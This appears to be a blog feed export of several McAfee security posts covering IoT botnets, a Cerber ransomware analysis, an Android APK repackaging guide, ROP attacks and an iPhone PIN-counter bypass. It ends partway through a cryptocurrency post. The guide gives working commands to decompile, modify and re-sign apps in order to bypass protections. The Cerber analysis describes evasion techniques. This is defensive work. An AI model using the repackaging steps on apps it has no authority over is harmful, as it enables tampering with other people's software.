We now face a new set of problems with IoT. Unlike the known challenges, in which IoT devices might impact local owners and bystanders, the new threat is a powerful weapon that can be pointed at anything connected to the Internet. Recent distributed denial of service (DDoS) attacks have been fueled by hacked IoT devices, called bots. DDoS attacks saturate Internet-connected devices and services to bring them down or make them unavailable. Such attacks have been around for years, and in fact were some of the first types of Internet attacks; but the scale is now changing the game at a pace not tenable for security workarounds.

The game has changed. These IoT DDoS attacks are typically run by “bot herders.” These herders compromise devices and install malware that allows them to be remotely controlled. By pointing hundreds or thousands of devices to flood a target with requests and data, they can overwhelm it to the point it can no longer maintain functions. There are several anti-DDoS services that offer protection for a price. But the scale of the new IoT-backed attacks, which are larger than anything ever seen, makes protection difficult and costly. Josh Shaul, Akamai’s vice president of web security, warned that if such an attack were sustained, it could cost the victim millions of dollars in cybersecurity services to stay online.

Traditionally, PCs were the prime targets to turn into bots, as many people did not bother with installing antimalware products. But over the last few years, PCs have become much better protected and thus difficult for bot herders to consistently control. The other problem is the shift to laptops. A bot is good only if it is online, can receive instructions from its master, and then continuously execute those orders. Laptops do not fit this model well, as they spend much of their time off, to save battery life.

What bot herders really want is a massive number of devices that are easy to hack, are ignored by their owners, and are constantly connected to the Internet. Recent attacks have proven IoT devices are the perfect solution for cybercriminals.

The rise of IoT is a dream come true for bot herders. Most IoT devices are not powerful enough to have any type of antimalware service. A majority of consumer products come with a default login and password that are published by the manufacturer and easily found on the web. Many stay continuously connected to the Internet and users rarely monitor or update these devices, especially consumers. The biggest factor is around scale. Unlike the hundreds or thousands of PCs that might be in a herd, IoT botnets can number in the hundreds of thousands!

With legions of exploitable devices, attackers are mustering massive DDoS armies and the results of IoT botnets are devastating.

How to secure the future of IoT

The problem is not just what to do now, with the current exploits, but also how to protect the future. Attackers are using the most simple and easy path to take control, the default passwords. But they will adapt as controls come into play. This is the pattern we have seen with many other attack vectors. It is a repeating cycle in which attackers follow the path of least resistance to achieve their objective. IoT devices are just too perfect for botnets for the attackers to easily give up. This is shaping up to be a long and drawn-out fight.

securing-iot-devices

We must secure the future of IoT. This means blocking current exploits as well as interdicting the likely future maneuvers of attackers. This is what must be done to protect the life cycle of IoT devices, from inception to retirement.

  1. Designed and architected for security
    IoT manufacturers must take the time to embed security into the architecture, interfaces, and designs of their products. Basic security concepts and capabilities such as compartmentalization of data and code, communication between trusted parties, data protection both in use and at rest, and authentication of users should be established and tested. Products in the future will get more powerful, store more data, and possess more functionality. This means products should have the ability for security updates, feature locking, build validation, software vetting, and default configurations that follow industry best practices. It all starts with the manufacturer. Future proofing begins at the foundations. The hardware, firmware, operating systems, and software must be designed to go into a hostile environment and survive.
  1. Secure provisioning and configuration
    Most IoT devices require some kind of setup and provisioning upon installation. Device identity and authentication are a must, as part of this two-way process. Proper default configurations that adhere to best security practices are important and should be easy for users to understand. Rules should be in place that do not allow default passwords, require patches and updates to be signed, data to be encrypted, and only secure web connections. For enterprises, limiting network access, patching in a timely manner, and allowing only approved software to run will go a long way to keeping the devices secure. For gadgets that are capable, implementing security software such as antimalware, intrusion prevention systems, and even local firewalls will improve the device’s defense posture. Detection and telemetry should also be configured to detect when systems are under attack or are functioning in ways not intended by the organization. Policies must be established for privacy, data retention, remote access, key security, and revocation procedures.
  1. Proper administration and management
    For devices owned by consumers, it is imperative they alone maintain the final say in how the device is managed. Manufacturers and online service providers play a role in provisioning but the owner must retain ultimate control of what the device will do. Provisioning is different than administration. For example, during installation of home cameras it makes sense to connect to the manufacturer for the latest patches and maybe even setting up cloud storage. But you would not want your home cameras controlled by the manufacturer. They should not have the ability to operate them outside of buyer’s authority. Owners must retain the power to turn on or off their products and choose which online services they allow to connect. This requires proper user identification and authentication. As before, allowing a common default password is not good because anyone can take over as the administrator. Imagine if Windows came with a default login password for every system. It would create a security nightmare because many would never change it and attackers would login as users. So, first IoT systems must be able to authenticate their owners. Management functionality must also extend to empower the owner to set limits, data policies, and privacy parameters that are more restrictive than those of any potential third-party vendor. Signed security updates should be automatically installed by default as they become available. Savvy owners should be able to configure limits for inbound and outbound connections, data types, ports, and security settings. Logs that can be pushed to a trusted system or viewed locally should capture errors, and unexpected and unusual activities. A system for remote-warning notifications, via email or text, is a welcome feature on some devices. Finally, a reset capability must be present in the event of an unrecoverable compromise or transfer of ownership.

Enterprise and industrial devices are typically managed centrally, by the purchasing organization. This may be part or different than provisioning by the manufacturer or service provider. Entire classes, potentially numbering in the thousands, may be controlled to operate individually or as part of a collective. The same choices and control are required. Instead of a single owner, an organization’s employees will administer the IoT devices, monitor for issues, and respond to problems.

Proper administration and management is about oversight and final control by the device owner. It should be simple to understand and easy to manage. Devices should possess the necessary processes to determine if something is wrong, communicate such events to their owners, and provide options to resolve issues. IoT devices are here to make our world better and smarter; they themselves must bring some intellect to the ecosystem to protect themselves and work with their owners for their benefit.

How do we make IoT security a reality? 

Security and privacy take effort, resources, and commitment. To change from the status quo, we must hold manufacturers accountable for their devices. If they fail to design and architect security into their products, make them liable and stop buying their wares. For critical functions that could put the safety of people at risk, enact regulations and subject them to government penalties.

As part of the best practices, which manufacturers and service providers must follow, developers must institute the aspects that make provisioning and initial configuration secure by default. Industry consortiums are working to define best practices, configurations, and default settings for different device classes.

Last and perhaps most difficult, is to raise the level of awareness and involvement of users. It is their security and the operational availability of potential Internet targets that is at risk. Without some assistance from consumers and businesses, these controls will be easily undermined or neglected. Social interaction must take place. We all have a responsibility, as a digital community, to maintain reasonable hygiene for devices connecting to our common resource, the Internet.

The choice is ours

It may seem like a lot to consider, but remember attackers need only find a reasonable vulnerability to exploit. The opportunity is to make the effort challenging enough so they are not motivated to pursue these devices. We find ourselves in a situation in which billions of IoT products will flood every industry and quickly find their way into our homes, schools, governments, and businesses. We must make the necessary efforts to not bring vulnerabilities with them. The effects will go well beyond our own lives, data, and devices. They may be turned into legions of bots, which could cause havoc to even the biggest of organizations on the Internet. We could all become victims if we do not work together to make our future technology trustworthy, safe, and secure.

 

Interested in more? Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

 

The post How to Secure the Future of the Internet of Things appeared first on McAfee Blogs.

]]>
Unfolding the Mystery of Cerber Ransomware’s Random File Extension https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/unfolding-the-mystery-of-cerber-ransomwares-random-file-extension/ Thu, 20 Oct 2016 21:54:41 +0000 https://blogs.mcafee.com/?p=53212 This blog post was written by Sudhanshu Dubey. In an earlier blog, we discussed the evolution of the popular Cerber ransomware from Version 1 to 2. Recently we came across two newer versions of Cerber (we’ll call them Versions 3 and X). Cerber 3 has few changes but Version X has some new behavior that […]

The post Unfolding the Mystery of Cerber Ransomware’s Random File Extension appeared first on McAfee Blogs.

]]>
This blog post was written by Sudhanshu Dubey.

In an earlier blog, we discussed the evolution of the popular Cerber ransomware from Version 1 to 2. Recently we came across two newer versions of Cerber (we’ll call them Versions 3 and X). Cerber 3 has few changes but Version X has some new behavior that caught our attention. (We call this version X, not 4, because this version does not follow Cerber’s usual encryption extension prototype, .cerberN, and instead uses a random extension.) In this post, we will dig into this new version and will uncover the mystery behind the random extension.

Cerber infects systems via social media tricks such as spam email with malicious links or documents, malvertising campaigns, exploits of vulnerable websites, and it also takes advantage of exploit kits such as Angler, Nuclear, and others.

CERBER vX infected machine

Machine infected with Cerber X.

Extensions of files encrypted by Cerber Versions 2, 3, and X:

Cerber version file Extension

Analysis of Cerber X

In contrast to Version 2, Cerber X uses the Nullsoft Scriptable Install System (NSIS) to hide itself. The installer contains the encrypted Cerber executable (.ch) and a shellcode file (.caz) that contains code to decrypt the Cerber file. A component of NSIS follows:

Components of CERBER NSIS file

The file .ch is the encrypted Cerber file. The first DWORD of the file is the file size of the Cerber core file followed by encrypted data. A snippet of the encrypted core file follows:

Encrypted CERBER file with file size as first DWORD

The file .caz contains shellcode used to decrypt itself as well as the encrypted Cerber file (.ch) and execute it. A snippet of the shellcode file:Shell Code file and code to decrypt itself

Configuration file of Cerber 2 versus X

We observed few changes in the configuration files of Versions 2, 3, and X. They are related in Base64 encoding, self-deletion, encryption message file, and other elements. Here are some of the changes.

  • Base64 encoding: In Version 2, the configuration file has all contents in plaintext format. Version X has some fields encoded with Base64-like encryption messages. This change might be used to reduce the in-memory detection of the file because encryption messages have many suspicious strings that help analysts catch the malware in memory. So this will reduce the time suspicious strings spend in memory.
  • Encryption message file: In contrast to previous versions in which Cerber drops files such as # DECRYPT MY FILES .htm#, this version drops only one, README.hta (an HTML application) file. Similar to its predecessors, the name and content of the message file are kept in the configuration file but with Base64 encoding.
  • bytes_skip tag: Skips a number of bytes from the start of file during encryption.
  • self_deleting tag: Deletes itself after encryption.
  • remove_shadows tag: Removes shadow copy backups.

How Cerber gets its random extension

This version has unique behavior from its predecessors. It does not follow the .cerberN (where N is a number) extension rule but rather uses system information to get an encrypted file extension. This version also has different component filenames and locations that are also derived using system information.

Cerber X uses the following registry entry to get its component filename and extension for an encrypted file.

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

MachineGuid has the following format:

  • XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX

This code snippet shows Cerber accessing the preceding registry key:

Reading MachineGUID registry key

Cerber X tokenizes the Guid using a hyphen and other elements:

  • Part 1 (8 characters): Used as a folder name for the Cerber component in %TEMP% directory.
  • Part 2, Part 3 (4 characters each): Used as filenames for Cerber’s component files.
  • Part 4 (4 characters): Used as the extension of the encrypted file.

So the mystery behind the random extensions is MachineGUID, whose fourth token becomes the extension for the encrypted file. We can use this behavior of getting file and folder names from MachineGUID as a heuristic detection for Cerber X because only after dropping the components does the malware start its encryption process. Thus if we could detect this behavior of using MachineGUID, we could prevent the encryption of a victim’s files.

Network communications

Network communications are basically similar in all versions. But this version has some minor changes in gathering data to send. Server information is kept in configuration file:

Servers tag in configuration file

Cerber uses the sendto API to send info to the IP address mentioned in the server tag of the configuration file. The initial information sent to server is 9 bytes, and the data prototype is stored in the knock tag of configuration file with Base64 encoding. The format of data:

  • hi{PARTNER_ID}

PARTNER_ID is generated at runtime. In this version the method to get it is different. PARTNER_ID, which is 7 characters long, is generated in two parts. The first part has 5 characters and second part has 2. In Version 2, the first part is generated with the help of a checksum of the file; in Version X it is taken from a hardcoded address in the .data section of the file.

Code snippets from both versions:

PARTNER_ID Diff : Reading Checksum field and Using Hardcoded Address in fileAnti-VM blooper

As we mentioned in our previous blog, irrespective of the version Cerber is one of the most comprehensive malware. Cerber exhibits anti–virtual machine techniques that detect popular VMs including Parallel, QEMU, VMware, and VBox. While analyzing we observed a curious thing: In one of the anti-VM techniques, Cerber accesses the following registry key:

  • HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion

After accessing the key, it tries to locate the substring “WMWare” instead of “VMWare” in the value, as shown:

Comparing the value with WMWare

Looks like even ransomware developers have trouble with typos.

McAfee products detect Cerber as NSIS/Ransom-Cerber.a

The post Unfolding the Mystery of Cerber Ransomware’s Random File Extension appeared first on McAfee Blogs.

]]>
How to: Testing Android Application Security, Part 4 https://securingtomorrow.mcafee.com/business/patching-android-binary/ Mon, 17 Oct 2016 22:22:09 +0000 https://blogs.mcafee.com/?p=53440 This blog was written by Kunal Garg. One of the best ways to develop secure Android applications is to engage in penetration (pen) testing, in effect trying to break into your application just as an attacker might do. This is the fourth in a series of posts on pen testing Android applications. In the first we set […]

The post How to: Testing Android Application Security, Part 4 appeared first on McAfee Blogs.

]]>
This blog was written by Kunal Garg.

One of the best ways to develop secure Android applications is to engage in penetration (pen) testing, in effect trying to break into your application just as an attacker might do. This is the fourth in a series of posts on pen testing Android applications. In the first we set up the testing environment and captured traffic. In the second, we discussed some tools and proxy techniques—Drozer, Apktool, and a “man in the middle” proxy—that come in handy during a security review of Android applications. In the third, we looked at reviewing Android’s manifest file.

During pen testing of Android applications it is often necessary to modify the app’s source code to bypass SSL pinning, check for tampering protection, bypassing application logic, and other steps. In this article, we will cover the process to successfully modify the source code.

Tools required

  • Download and set up Apktool
  • Jarsigner
  • JD-GUI

 

Step 1: Convert the code into Smali format

Set up Apktool and use the following command to disassemble the APK. We used the test application Sieve.

apktool d <your apk path here> -o <output path>

20161017-garg-1

The disassembled APK folder contains the Smali files. These files can be modified using any text editor, as shown in the following screen:

20161017-garg-2

You can also use JD-GUI (by converting classes.dex file into .jar format) to identify the class or methods you want to modify, and then to patch the corresponding Smali files.

 

Step 2: Repack the APK

After modifying the Smali code, you must repack the APK. Use the following command:

apktool b <deassembled apk path> -o <output apk path>

20161017-garg-3

Android requires every APK to be signed. Any unsigned binary results in a passing error. Thus the next step is to create a key pair, and sign the APK with that.

 

Step 3: Create and sign the key

Keytool and Jarsigner come packaged in the Java Development Kit bundle and are required to complete this step. Use this command to generate the key:

keytool -genkey -v -keystore mykey.keystore -alias <Any alias name> -keyalg RSA -keysize 2048 -validity 10000

20161017-garg-4

After you answer the series of questions that follow, a keyfile (mykey.keystore) is created in the C:\Users\<username> directory.

Once the key pair is created, the APK can be signed using the following command:

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore mykey.keystore <apk path> alias_name

20161017-garg-5

After completing all the steps, the repacked APK can be successfully installed on the device.

In our next post we will focus on obtaining and analyzing the Android memory dump for sensitive information.

The post How to: Testing Android Application Security, Part 4 appeared first on McAfee Blogs.

]]>
New Security Reality for Internet of Things https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-security-reality-for-internet-of-things/ Tue, 04 Oct 2016 19:27:58 +0000 https://blogs.mcafee.com/?p=52970   Recent distributed denial of service (DDoS) attacks are forcing a shift in how we think about the Internet of Things (IoT). The dangers are expanding as attackers are taking advantage of billions of IoT devices, conscripting them into their botnet armies for massive DDoS attacks.   Nontraditional risks The estimates vary, but they suggest between […]

The post New Security Reality for Internet of Things appeared first on McAfee Blogs.

]]>
 

iot-4

Recent distributed denial of service (DDoS) attacks are forcing a shift in how we think about the Internet of Things (IoT). The dangers are expanding as attackers are taking advantage of billions of IoT devices, conscripting them into their botnet armies for massive DDoS attacks.

 

Nontraditional risks

The estimates vary, but they suggest between 20 billion and 30 billion of these systems will be connected by 2020. With the explosive rise of IoT, the focus has been primarily on hackers taking over devices and controlling them. Many of the risks highlighted in the past year has been in the transportation sector. Cars being hacked and control surfaces such as breaks, steering, and acceleration compromised. The prospect of exploitable vehicles, under the command of others, is a scary proposition. Security researchers are showing what risks are possible. Such real-world attacks put people’s lives at great risk. Automobile manufacturers and government safety organizations are working fast to get ahead of any real-world attacks. High-profile transportation exploits are but a sliver of the IoT world. These devices are everywhere and deeply influence our lives, as they are woven into health care, industry, retail, manufacturing, and entertainment.

Connecting things to the Internet is the latest craze, allowing users the pleasure of remote control and monitoring of everyday devices—from cooking appliances, lights, home cameras, sports gear, electronics, sprinklers, and anything else one could imagine. They are becoming commonplace in homes, hospitals, office environments, stores, and all manner of vehicles. It seems that any normal device becomes even better if you can remotely connect to it. This is how we get the rapid growth of devices communicating over the Internet. But all these machines, some as simple as a rice cooker or as complex as a Tesla, can all send information. In this capability is where trouble now brews.

During the past year, savvy hackers have seen the growth of IoT devices coupled with their apparent vulnerabilities, to be the next great opportunity. Designers are quick to get products out the door, but less serious about actually securing their wares. Who cares if a kitchen appliance connects to the Internet? Hackers, that’s who.

Bot herders, as they are known, are always looking for machines to take over and control. In the past they typically targeted PCs and servers. They hack the systems and install control functions that allow them to command their herd and conduct massive DDoS attacks. This pool of bots, which could exceed tens of thousands in number, follow instructions given by their herder. By having the entire herd stampede a targeted site with massive network requests, they can overwhelm sites and services to the breaking point. The more systems that take part, the greater the potential impact.

The problem, for hackers, with PCs is that they are becoming better defended every day. Antimalware tools are pretty good at detecting problems and evicting botnets. IoT devices typically lack any sophisticated defenses; many are shipped with a default administrator password that can be found in online documentation.

Welcome to the party, IoT. IoT devices tend to be much less defended and almost entirely unmonitored. When was the last time you inspected the outbound traffic from your home security camera, DVD, thermostat, or wireless router? If you are like most folks, never. How would you know if they were hacked and under the control of some cybercriminal or hacktivist? You wouldn’t. That is exactly why they are a great target. Poorly defended, always online, and almost never patched. Perfect victims. Soon there will be billions of them.

Gartner predicts by 2020 that more than 25% of attacks in enterprises will involve IoT devices. In the business world, IoT is a weak link. Spending for IoT security is expected to rise to $840 million by 2020 from $281 million in 2015.

 

Recent attacks escalate

The future is already here. Simple IoT devices are being hacked in massive numbers and used as part of botnets to conduct DDoS attacks. Earlier in the year, more than 25,000 closed circuit television cameras and digital video recorders were controlled to attack small businesses. More than 50,000 HTTP requests per second flooded in, for days. That is the power of having many sources which are always online.

A popular botnet engine, LizardStresser, has expanded to embrace the power of IoT devices. LizardStresser has been used to create more than 100 botnets in the past year. In July, one of those botnets was leveraged to generate attacks exceeding 400Gbps against commercial targets. They did so without amplification techniques, which normally inflate attacks from a few powerful systems to be more impactful. This was an expression of raw power.

During the Olympics another IoT botnet upped the flow of malicious traffic to 540Gbps in an attempt to bring down services at the venue.

Earlier this month, the French hosting firm OVH reported two concurrent DDoS attacks with a combined bandwidth near 1Tbps (1,000 Gbps). One of the two attacks peaked at 799Gbps, making it the largest ever reported. According to the CTO, Octave Klaba, the attack targeted Minecraft servers hosted on OVH’s network, and the source of the attacks was 145,000 hacked DVRs and IP cameras.

Most recently, the site of renowned cybersecurity researcher and reporter Brian Krebs was targeted with a highly complex DDoS attack. The attack escalated to the point that Akamai’s web service felt it was no longer financially prudent to support Krebs as a pro-bono customer. Previously, Akamai stated the largest attack they had seen this year was 363Gbps. The attack against Krebs’ site almost doubled that amount at 620Gbps, making it the largest DDoS attack Akamai had encountered.

Based upon the attack’s size and complexity, Josh Shaul, Akamai’s vice president of Web security, told the Boston Globe “this is the worst denial of service attack we’ve ever seen” and added that it might be the worst in Internet history. The costs to Akamai were tremendous. Shaul said “if this kind of thing is sustained, we’re definitely talking millions” of dollars in required cybersecurity services.

 

projectshield-580x381

Krebs is back online, with a new DDoS protection provider. Heavyweight Google runs a free program, Project Shield, to protect journalists from online censorship. This will pose an interesting match-up: DDoS botnets, powered by a growing IoT community, against one of the most innovative and powerful Internet companies.

Let’s see if the Google powerhouse can withstand the DDoS onslaught that we all know it is coming. I believe if they cannot, they will do what they do best and innovate. Nobody does Internet innovation better or with more resources than Google. We may see new technology, protocols, and DDoS protection solutions as a result of this struggle. I am excited either way to sit ringside.

 

A turning point for IoT security

The world of IoT security is changing, fueled by a sharp rise in the size and complexity of DDoS attacks.   A new reality is emerging, in which the risks are no longer limited to attackers taking control of devices, but are also exploiting these systems to conduct extremely powerful DDoS attacks. Pointed at critical systems such as banking, telecom, and government services, these attacks pose a grave risk to online capabilities that people rely upon. Such power could be wielded by malicious attackers to the detriment of everyone, just by taking advantage of the billions of weak IoT devices they can get under their control.

IoT botnets will continue to rise. Right now they are an easy resource to harvest. IoT device manufacturers must act now to build in better security capabilities and controls. This must start with internal prioritization and security teams who own the architecture and design, define testing parameters, and actively manage post-release issues. Otherwise these systems, massive in number, can cause global impacts not easily remedied by currently available security solutions. This era may usher in the next generation of DoS attacks, extortion, free-speech manipulation, and nation-state cyberwarfare tactics. The stakes are higher in this new game of IoT botnets.    

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post New Security Reality for Internet of Things appeared first on McAfee Blogs.

]]>
Sharing Cybersecurity Threat Intelligence Is the Only Way We Win https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/sharing-cybersecurity-threat-intelligence-way-win/ Fri, 30 Sep 2016 03:00:19 +0000 https://blogs.mcafee.com/?p=52962 Cybersecurity is a team sport. The bad guys share information, expertise, and code as they help one another. The good guys must do the same to keep pace. Sharing threat intelligence is a key aspect in which the knowledge gained by the owners of sensor networks can share data with the security analysis community.  This generosity […]

The post Sharing Cybersecurity Threat Intelligence Is the Only Way We Win appeared first on McAfee Blogs.

]]>
threat-intel-sharing

Cybersecurity is a team sport. The bad guys share information, expertise, and code as they help one another. The good guys must do the same to keep pace. Sharing threat intelligence is a key aspect in which the knowledge gained by the owners of sensor networks can share data with the security analysis community.  This generosity provides the necessary breadth of data to understand trends, new infections, how botnets are communicating, whether directed targeting is occurring, and even if different attackers are collaborating.

Sadly, sharing is not the norm. Many security companies look at this data as a competitive advantage to sell their products and services. They keep it to themselves in hopes they can find a nugget and market it as a way to win new customers. But the cost of this approach is losing the bigger picture of overall effectiveness.

This attitude is slowly changing. Some security firms are stepping up and sharing more and more data, redacted from personal information and containing only attack characteristics. The combined aspects are like pieces of a massive puzzle that analysts can examine for trends. These puzzle pieces are hugely important to everyone.

I am glad to see major security vendors and researchers beginning to share insights and data. Consortiums such as the Cyber Threat Alliance and sites like VirusTotal lead the way.
cyber-threat-allianceThe Information Sharing and Analysis Organization (ISAO), established as part of a US presidential order in 2015, is developing voluntary standards for private and public data sharing.

But we need more sharing! Attacks are occurring at a phenomenal rate. Malware alone is out of control, with about 44,000 unique samples discovered every day. Security organizations must leverage each other’s information to better predict, prevent, detect, and respond to threats that their customers and organizations face.

The battle that should be fought is not between security vendors, but rather between the threats and collective defensive organizations which stand between attackers and their victims. We must work together to stem the tide of cyberattacks. Public sentiment is very important. If we want our technology to be safe, we must send a clear message to our security vendors. Share threat data or we will patronize a different supplier of security products and services. We have a voice and a vote (with our wallets).

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

My original post of this blog can be found on DarkReading.

The post Sharing Cybersecurity Threat Intelligence Is the Only Way We Win appeared first on McAfee Blogs.

]]>
How Can We Stop ‘ROP’ Cyberattacks? https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/how-can-we-stop-rop-cyberattacks/ Wed, 28 Sep 2016 23:45:50 +0000 https://blogs.mcafee.com/?p=52816 IBM recently announced a software-oriented solution to help eradicate attacks by return-oriented programming (ROP) malware. ROP malware is a significant and growing problem in the industry. Crafty hackers will use snippets of code from other trusted programs and stitch them together to create their attacks. This method has become a very popular and effective technique for […]

The post How Can We Stop ‘ROP’ Cyberattacks? appeared first on McAfee Blogs.

]]>
rop1

IBM recently announced a software-oriented solution to help eradicate attacks by return-oriented programming (ROP) malware. ROP malware is a significant and growing problem in the industry. Crafty hackers will use snippets of code from other trusted programs and stitch them together to create their attacks. This method has become a very popular and effective technique for top malware.

The Security Intelligence article states that “almost 90 percent of exploit-based software attacks use the hostile ROP technique in the chain of attack.” The story also referenced a blog I wrote in June about how McAfee and Microsoft have developed a hardware-based solution. Leading companies are looking to prevent these types of attacks.

This problem is real, and will likely be a favorite method of attackers because of its effectiveness and stealth properties. Because ROP malware uses parts of trusted code, it is very difficult to detect and stop. Software solutions have tried in the past to stem the problem, but have largely been unsuccessful. Software fighting software is just too even a fight; attackers need to find only one way around preventive solutions to win. I hope the IBM solution has a positive effect, but am concerned about its long-term viability.

In the end, I believe the future of ROP security will be based on features embedded beneath the software, operating systems, virtual machines, and even the firmware. It will be located in the hardware processor itself. Hardware remains outside the maneuvering zone of software hackers, and thus can give a definitive advantage to securing the system from ROP-based attacks. The architecture can be designed to give advantages to secure computing practices, help operating system be more secure, and compensate for vulnerable software.

Regardless of where the solution lies, it is very important for innovative minds to continue to work on taking the fangs out of ROP attacks.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post How Can We Stop ‘ROP’ Cyberattacks? appeared first on McAfee Blogs.

]]>
‘McAfee Labs Threats Report’ Delves Into Dangers of Data Loss https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-delves-into-dangers-of-data-loss/ Mon, 26 Sep 2016 11:01:27 +0000 https://blogs.mcafee.com/?p=52565 This blog post was written by Rick Simon. Data is leaking out of your organization: accidentally or intentionally, by internals or externals, physically or electronically. During the past year, we have performed extensive research to identify what data is being targeted, who is taking it, how they are getting it out, and the best practices […]

The post ‘McAfee Labs Threats Report’ Delves Into Dangers of Data Loss appeared first on McAfee Blogs.

]]>
This blog post was written by Rick Simon.

Data is leaking out of your organization: accidentally or intentionally, by internals or externals, physically or electronically. During the past year, we have performed extensive research to identify what data is being targeted, who is taking it, how they are getting it out, and the best practices to reduce your exposure to data loss.

We found that most organizations do not realize that they are leaking data. Between 50% and 80% of data breaches are discovered by outside entities, typically when the data is used or sold. According to the 2016 Verizon Data Breach Investigation Report, internal discovery of breaches has been on a downward trend for 10 years.

It should be no surprise that data thefts are usually about the money or that between 60% and 80% of them are conducted by external agents. However, that still means that 20% to 40% of data loss is the result of intentional or accidental actions by people on the inside. Physical media, such as USB keys and laptops, are the most common method of data loss from internals, but fewer than 40% of organizations surveyed are watching these devices closely enough to catch them.

Organizations with data loss prevention (DLP) systems should be well positioned to block data leakage, but many do not appear to be using the tools to their best advantage. Data loss is increasingly happening with unstructured data, such as office documents, yet many organizations do not monitor unstructured data. Relying solely on regular expressions, which is a common method to find things such as credit card or social security numbers, leaves too much valuable information unmonitored.

On average, the IT professionals we surveyed reported dealing with about 20 incidents per day, but there was a tremendous range. Small companies and those in the Asia-Pacific region tend to run below average, while large companies, especially those in financial services and retail, tend to run higher than average. Because false negatives, or data loss that does not trigger an incident alert, are one of the challenges with DLP systems, we found that configuring systems to watch more actions is an important part of reducing the likelihood of data loss.

On the positive side, we found that 85% of all organizations surveyed delivered regular security awareness training to keep the importance of data protection fresh in people’s minds. Teaching employees how to recognize the value of the data they are processing makes the issue real for their particular jobs. Automatic pop-ups that notify them when they are doing something potentially risky are a great reminder, and do not consume a lot of resources.

For more information on this research, download the McAfee Labs Threats Report: September 2016.

The post ‘McAfee Labs Threats Report’ Delves Into Dangers of Data Loss appeared first on McAfee Blogs.

]]>
Hardware Hack Bypasses iPhone PIN Security Counter https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hardware-hack-bypasses-iphone-pin-security-counter/ Thu, 22 Sep 2016 16:18:38 +0000 https://blogs.mcafee.com/?p=52732 A security researcher from the University of Cambridge has found a way to hack the iPhone NAND memory hardware to sufficiently bypass an important security feature, allowing a brute-force attack against the passcode lock of an iPhone 5C. This is the same lock that stymied the FBI as part of the highly publicized privacy case in […]

The post Hardware Hack Bypasses iPhone PIN Security Counter appeared first on McAfee Blogs.

]]>
unlocked-phone

A security researcher from the University of Cambridge has found a way to hack the iPhone NAND memory hardware to sufficiently bypass an important security feature, allowing a brute-force attack against the passcode lock of an iPhone 5C. This is the same lock that stymied the FBI as part of the highly publicized privacy case in which they demanded Apple create a workaround to access the phone of the San Bernardino, Calif., shooter. Apple refused on ethical grounds and a media frenzy ensued. Ultimately, the FBI dropped the legal case against Apple and reportedly paid $1 million to an unknown security company to unlock the phone.

Recently a security researcher wrote a paper and then built a hacking rig to do the same, for about $100. The iPhone 5C security control in question is one that limits the number of attempts to enter an unlocking PIN. After a certain number of attempts, the phone will wait for a long period before allowing another attempt. After 10 attempts the device permanently deletes the encryption keys, making all the data on the phone irretrievable. This check is controlled in the firmware and hardware of the device to prevent a brute-force attack, which is designed to try all combinations. A four-digit pin has 10,000 possible combinations, from 0000 to 9999. Attempts to try even a small number of them will result in the phone quickly being locked and ultimately the data rendered unrecoverable.

The researcher created a cloned NAND memory chip under his control, to replace the one embedded in the iPhone. It reset the counter after every pin attempt. Thus automating the process, a brute-force attack succeeded. Even with such a rudimentary system, a four-digit code was cracked in about 40 hours. With a more powerful system, a crack could occur much faster.

There is no doubt hardware is the final frontier in cybersecurity. Hacking hardware can bypass all software-based controls. On the other hand, leveraging hardware for security makes every attack visible and presents the toughest barriers for attackers to overcome.

In this case a savvy security researcher and very little money proved that the manipulation of hardware is a powerful force in unlocking even the most secure smartphones. It is in the interest of manufacturers, businesses, consumers, and agencies to better understand the nuances of how hardware, firmware, and software security controls work.

Hardware based security and hacking is the future of cybersecurity. The only question is who will take the high ground first, the attackers or defenders? Hackers, nation-states, and ethical researchers are exploring exploitable vulnerabilities in both firmware and hardware. At the same time, hardware designers and manufacturers are adding features to make devices more resistant to compromise and give security software better capabilities. Apple in particular is updating its hardware, firmware, and operating system architectures to be more secure. The race is on!

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity

The post Hardware Hack Bypasses iPhone PIN Security Counter appeared first on McAfee Blogs.

]]>
Cryptocurrencies a Target for Cybercriminals, Part 2: Social Platforms Come Next https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cryptocurrencies-a-target-for-cybercriminals-part-2-social-platforms-come-next/ Mon, 19 Sep 2016 04:12:49 +0000 https://blogs.mcafee.com/?p=52526 One target of cybercriminals is cryptocurrencies, which hold tremendous wealth but are largely anonymous. This limits the attack surface mostly to avenues requiring complex technical approaches. Always preferring the path of least resistance, many fraudsters and online thieves prefer to target people rather than systems. This is the second of two posts on threats to […]

The post Cryptocurrencies a Target for Cybercriminals, Part 2: Social Platforms Come Next appeared first on McAfee Blogs.

]]>
cryptocurrency-hacker

One target of cybercriminals is cryptocurrencies, which hold tremendous wealth but are largely anonymous. This limits the attack surface mostly to avenues requiring complex technical approaches. Always preferring the path of least resistance, many fraudsters and online thieves prefer to target people rather than systems. This is the second of two posts on threats to cryptocurrencies. In the first, we looked at some risks of innovation. In this post, we examine threats via social platforms.

Cryptocurrency opportunity for cybercriminals

The chaotic world of cryptocurrencies is ripe with innovation. There are blockchains and related currencies associated with all manner of business transactions, recordkeeping, legal contracts, charities, and even healthcare research. In many cases the application of blockchain technology solves a variety of problems and opens new value-added opportunities. An emerging sector is the convergence with social media platforms. One popular example is Steemit, a newcomer to the cryptocurrency world that may represent an evolutionary trend, differentiating itself from traditional digital currencies by bridging blockchain and social media. Steemit appeared early this year and skyrocketed in value and prominence to break into the top five cryptocurrencies with a market cap of about $160 million.

